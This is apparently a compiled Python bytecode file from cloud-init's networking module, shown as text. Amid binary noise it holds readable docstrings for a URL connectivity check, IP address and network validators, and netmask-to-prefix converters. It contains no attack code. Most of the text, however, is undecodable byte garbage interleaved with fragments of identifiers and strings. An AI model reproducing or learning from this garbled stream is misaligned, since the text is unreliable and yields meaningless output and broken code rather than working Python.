aDReturn true when the instance has access to the provided URL.

    Logs a warning if url is not the expected format.

    url_data is a dictionary of kwargs to send to readurl. E.g.:

    has_url_connectivity({
        "url": "http://example.invalid",
        "headers": {"some": "header"},
        "timeout": 10
    })
    �urlz4Ignoring connectivity check. No 'url' to check in %sF�http�httpsz2Ignoring connectivity check. Invalid URL scheme %sz+Ignoring connectivity check. Invalid URL %sN�timeout�Tr)r;r�r�any�schemerNrr)r�r��result�errs    r�has_url_connectivityr�ts4��
�H������B�H�	
�	
�	
��u�
�5�/�C�
��#�����F�M�V�+�V�]�g�-E�F�G�G�	��K�K�D��
�
�
�
��5�	���������A�3�G�G�G��u�u�u�u�u����������� � ���������(�����������u�u������4s*�AB�
B0�
B+�+B0�=C
�

C�C�convert_to_addressr�c�8�	||fi|��S#t$rYdSwxYw)aUse a function to return an address. If conversion throws a ValueError
    exception return False.

    :param check_cb:
        Test function, must return a truthy value
    :param address:
        The string to test.

    :return:
        Address or False

    F)rN)r�r��kwargss   r�maybe_get_addressr��sB���!�!�'�4�4�V�4�4�4�������u�u����s��
�c�P�tttj|����S)z�Returns a bool indicating if ``s`` is an IP address.

    :param address:
        The string to test.

    :return:
        A bool indicating if the string is an IP address or not.
    )rrr��	ipaddress�
ip_address�r�s r�
is_ip_addressr��s ���!�)�"6��@�@�A�A�Ar c�P�tttj|����S)z�Returns a bool indicating if ``s`` is an IPv4 address.

    :param address:
        The string to test.

    :return:
        A bool indicating if the string is an IPv4 address or not.
    )rrr�r��IPv4Addressr�s r�is_ipv4_addressr��� ���!�)�"7��A�A�B�B�Br c�P�tttj|����S)z�Returns a bool indicating if ``s`` is an IPv6 address.

    :param address:
        The string to test.

    :return:
        A bool indicating if the string is an IPv4 address or not.
    )rrr�r��IPv6Addressr�s r�is_ipv6_addressr��r�r c�T�tttj|d�����S)z�Returns a bool indicating if ``s`` is an IPv4 or IPv6 network.

    :param address:
        The string to test.

    :return:
        A bool indicating if the string is an IPv4 address or not.
    F�r)rrr�r��
ip_networkr�s r�
is_ip_networkr��s%���!�)�"6���N�N�N�O�O�Or c�T�tttj|d�����S)z�Returns a bool indicating if ``s`` is an IPv4 network.

    :param address:
        The string to test.

    :return:
        A bool indicating if the string is an IPv4 address or not.
    Fr�)rrr�r��IPv4Networkr�s r�is_ipv4_networkr���+����)�/���G�G�G���r c�T�tttj|d�����S)z�Returns a bool indicating if ``s`` is an IPv6 network.

    :param address:
        The string to test.

    :return:
        A bool indicating if the string is an IPv4 address or not.
    Fr�)rrr�r��IPv6Networkr�s r�is_ipv6_networkr��r�r c��|d�d��s|dtvrdS|ddkr$t|�d����rdSdS)z:Common helper for checking network_state subnets for ipv6.r�6T�staticr�F)�endswith�IPV6_DYNAMIC_TYPESr�r�)�subnets r�subnet_is_ipv6r��sd���f�~���s�#�#��v�f�~�9K�'K�'K��t�	���8�	#�	#���
�
�9�8M�8M�(N�(N�	#��t��5r c�T�ttjd|����j��S)z�Convert a network prefix to an ipv4 netmask.

    This is the inverse of ipv4_mask_to_net_prefix.
        24 -> "255.255.255.0"
    Also supports input as a string.�0.0.0.0/)r�r�r��netmask)�prefixs r�net_prefix_to_ipv4_maskr�s)���y�$�%8��%8�%8�9�9�A�B�B�Br c�:�tjd|����jS)aConvert an ipv4 netmask into a network prefix length.

    If the input is already an integer or a string representation of
    an integer, then int(mask) will be returned.
       "255.255.255.0" => 24
       str(24)         => 24
       "24"            => 24
    r�)r�r��	prefixlen)�masks r�ipv4_mask_to_net_prefixr�s!���� 1�4� 1� 1�2�2�<�<r c��	tjd|����j}|S#t$rYnwxYwtj|��}t|��}|dkr|St
tj||dz
z�����}||z	}tj|z
}d|zdz
}||krtd|z���|S)z�Convert an ipv6 netmask (very uncommon) or prefix (64) to prefix.

    If the input is already an integer or a string representation of
    an integer, then int(mask) will be returned.
       "ffff:ffff:ffff::"  => 48
       "48"                => 48
    z::/rrzInvalid network mask '%s')	r�r�r�rNr�r�min�
IPV6LENGTH�
bit_length)r�r�r��mask_int�trailing_zeroes�leading_ones�all_oness       r�ipv6_mask_to_net_prefixr�s���
��(��t���6�6�@�	�����
�
�
�	
��
����
�"�4�(�(�G��7�|�|�H��1�}�}�������y�H�q�L�9�E�E�G�G���O���.�L��$��6�I��Y��!�#�H��x����4�t�;�<�<�<��s� �
-�-r�r#c�\�ttj|�d|��d���j��S)zCGet string representation of broadcast address from an ip/mask pairr+Fr�)r�r�r��broadcast_address)r�r#s  r�mask_and_ipv4_to_bcast_addrr�>s4������n�n�d�n�n�U�;�;�;�M���r c��eZdZdS)�RendererNotFoundErrorN)r�r�r�rr rr�r�Es�������Dr r�)r))NNNNr�)NN)F)T)TTN)er1�	functoolsr��loggingr[r!�typingrrrrr�urllib.parser�	cloudinitr	r
�cloudinit.url_helperrr�	getLoggerr�r;r'r�r�rwr,r%r(r/rErLrPrWr^rarerkrn�	lru_cacherrrur�rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr r8rcrgrmr�r�rvrorprqrrr+r�r�r�r�r�r�r�r�r�r�r�rr�r�r�rr�rr r�<module>r�s���
����������������	�	�	�	�	�	�	�	�6�6�6�6�6�6�6�6�6�6�6�6�6�6�!�!�!�!�!�!� � � � � � � � �2�2�2�2�2�2�2�2��g���!�!��!�
�"������%�%�%�!�)�b�j��4�4�
�
�
�
����
7�7�7�7�����
"�"�"�"�J�������H�H�H�;�;�;�<�<�<����G�G�G�$�$�$����T�"�"�"��$����#�"�����T�"�"�"� �T� � � �#�"� �(�s��t������������
�
�
���t�����0����B����0���1�1�1�
���������A�A�A�A�A�)�A�A�A�+�+�+�.2�?�?���S�	�*�?�	�#�Y�?�?�?�?� .2�	=�	=���S�	�*�	=�
�c�]�	=�	=�	=�	=�.2�J�J���S�	�*�J�	�#�Y�J�J�J�J�.2�����S�	�*��
�c�]����� .2�J�J���S�	�*�J�	�#�Y�J�J�J�J�&.2�����S�	�*��
�c�]����� .2�W�W���S�	�*�W�	�#�Y�W�W�W�W�v.2�����S�	�*��
�c�]���������4-G�-G�-G�`$�$�$�$�(+�+�+�+�^BF�\+�\+�\+�\+�~+�+�+����
�
�T�
�
�
�
�&�c��h�s�m������������8
�
�t�
�
�
�
� 
�
��
�
�
�
� P�P�d�P�P�P�P�f(�(�d�(�(�(�(�V
�
�
� $�4��S��>�$�d�$�$�$�$�N�(��S�����&	B�3�	B�4�	B�	B�	B�	B�	C�S�	C�T�	C�	C�	C�	C�	C�S�	C�T�	C�	C�	C�	C�	P�3�	P�4�	P�	P�	P�	P��S��T������S��T�����	�d�	�	�	�	�C�s�C�C�C�C�	=�S�	=�	=�	=�	=� �S� � � � �F�c��s��s�����	�	�	�	�	�L�	�	�	�	�	r